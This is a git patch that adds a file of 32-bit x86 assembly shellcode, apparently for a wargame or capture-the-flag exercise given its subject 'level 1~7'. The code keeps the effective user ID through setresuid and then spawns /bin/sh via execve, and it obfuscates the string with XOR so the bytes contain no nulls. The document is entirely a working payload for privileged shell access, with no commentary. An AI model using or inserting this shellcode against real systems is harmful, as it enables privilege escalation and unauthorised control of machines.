From 62d1287693cbb282570c52f44bfcc0be0e590d7f Mon Sep 17 00:00:00 2001 From: Iru Cai Date: Fri, 5 Oct 2018 17:41:48 +0800 Subject: level 1~7, shellcode --- shellcode/exec-suid.asm | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 shellcode/exec-suid.asm (limited to 'shellcode/exec-suid.asm') diff --git a/shellcode/exec-suid.asm b/shellcode/exec-suid.asm new file mode 100644 index 0000000..b978195 --- /dev/null +++ b/shellcode/exec-suid.asm @@ -0,0 +1,19 @@ +xor eax, eax +add al, 201 +int 0x80 +mov ebx, eax +mov ecx, eax +mov edx, eax +xor eax, eax +add al, 208 +int 0x80 +xor eax, eax +add al, 11 +mov ebx, 0x3058431f +xor ebx, 0x30303030 +push ebx +push 0x6e69622f +mov ebx, esp +xor ecx, ecx +xor edx, edx +int 0x80 -- cgit v1.2.3